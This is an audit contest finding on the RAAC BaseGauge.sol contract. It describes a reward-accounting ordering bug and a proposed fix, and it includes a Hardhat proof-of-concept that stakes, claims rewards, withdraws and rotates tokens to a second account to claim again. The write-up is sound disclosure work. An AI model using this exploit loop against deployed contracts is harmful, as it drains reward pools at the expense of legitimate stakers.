Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect accounting allows attacker to steal rewards in `BaseGauge.sol`

Summary

Every time BaseGauge::stake is called, the updateReward modifier is triggered which calls a helper function to update the reward allocation for the called of the transaction. However, an incorrect order of state changes allow an attacker to immediately get a reward after staking. Exploiting this vulnerability, they can stake, get the reward tokens, withdraw their staked amount of stakingToken and transfer it to another account of theirs to repeat the whole process and steal as much reward tokens as possible.

Vulnerability Details

In the helper function _updateReward the state.rewardPerTokenPaid representing reward pair to the user so far is updated after setting the state.rewards.

function _updateReward(address account) internal {
rewardPerTokenStored = getRewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
UserState storage state = userStates[account];
state.rewards = earned(account); // <== audit
state.rewardPerTokenPaid = rewardPerTokenStored; // <== audit
state.lastUpdateTime = block.timestamp;
emit RewardUpdated(account, state.rewards);
}
}

This allows the user to immediately get rewards because:

Here, in the BaseGauge::earned the rewards for the user are calculated by subtracting the current reward per token by userStates[account].rewardPerTokenPaid.
As I mentionned, userStates[account].rewardPerTokenPaid is updated after calling earned() which means in the case of staking, the variable will hold value of 0.

function earned(address account) public view returns (uint256) {
return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
PoC
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("BaseGaugePoC", () => {
let raacGauge;
let gaugeController;
let veRAACToken;
let rewardToken;
let owner;
let user1;
let user2;
const WEIGHT_PRECISION = 10000;
const DAY = 24 * 3600;
beforeEach(async () => {
[owner, user1, user2] = await ethers.getSigners();
// Deploy mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
// Deploy controller
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
// Get current time and align to next period boundary with buffer
const currentTime = BigInt(await time.latest());
const duration = BigInt(7 * DAY);
const nextPeriodStart = ((currentTime / duration) + 2n) * duration; // Add 2 periods for buffer
// Deploy MockBaseGauge
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
// Setup roles
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.FEE_ADMIN(), owner.address);
await raacGauge.grantRole(await raacGauge.EMERGENCY_ADMIN(), owner.address);
// Setup initial state
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("1000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
// Initialize boost state
await raacGauge.setBoostParameters(
25000, // 2.5x max boost
10000, // 1x min boost
7 * 24 * 3600 // 7 days boost window
);
// Add gauge to controller
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
await raacGauge.setDistributionCap(ethers.parseEther("1000000"));
// Set initial weight for testing
await raacGauge.setInitialWeight(5000);
});
it("Allows user to immediately earn rewards after staking", async () => {
// increase to the 5th day of the voting period
await time.increase(5 * DAY);
// Vote for the gauge
await gaugeController.connect(user1).vote(await raacGauge.getAddress(), 10000);
// Distribute rewards to the raacGauge
await gaugeController.distributeRewards(await raacGauge.getAddress());
// Stake veRAAC tokens
const stakeAmount = await veRAACToken.balanceOf(user1.address);
await veRAACToken.connect(user1).approve(await raacGauge.getAddress(), stakeAmount);
await raacGauge.connect(user1).stake(stakeAmount);
// Get reward
const reward = await raacGauge.connect(user1).earned(user1.address);
await raacGauge.connect(user1).getReward();
const actualReward = await rewardToken.balanceOf(user1.address);
expect(actualReward).to.be.gt(0);
console.log("Reward claimed: ", actualReward);
// withdraw stake and transfer the veToken to the other account of the attacker and repeat the process
await raacGauge.connect(user1).withdraw(stakeAmount);
await veRAACToken.connect(user1).transfer(user2.address, stakeAmount);
await veRAACToken.connect(user2).approve(await raacGauge.getAddress(), stakeAmount);
await raacGauge.connect(user2).stake(stakeAmount);
await raacGauge.connect(user2).getReward();
const actualReward2 = await rewardToken.balanceOf(user2.address);
expect(actualReward2).to.be.gt(0);
console.log("Reward claimed: ", actualReward2);
})
})

Output:

BaseGaugePoC
Reward claimed: 8267n
Reward claimed: 49602n
✔ Allows user to immediately earn rewards after staking (4805ms)

Impact

This vulnerability allows a malicious user to drain almost the whole reward balance from the gauge.

Tools Used

VSCode

Recommendations

Add additional check in the BaseGauge::_updateReward:

function _updateReward(address account) internal {
rewardPerTokenStored = getRewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
UserState storage state = userStates[account];
- state.rewards = earned(account);
+ if (state.rewardPerTokenPaid != 0) {
+ state.rewards = earned(account);
+ }
state.rewardPerTokenPaid = rewardPerTokenStored;
state.lastUpdateTime = block.timestamp;
emit RewardUpdated(account, state.rewards);
}
}

This ensures that rewards are only updated after rewardPerTokenPaid is set, preventing immediate reward accumulation upon staking.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

Appeal created

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::_updateReward calculates rewards before updating rewardPerTokenPaid, allowing new stakers to instantly claim accumulated rewards as if they had staked since contract deployment

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!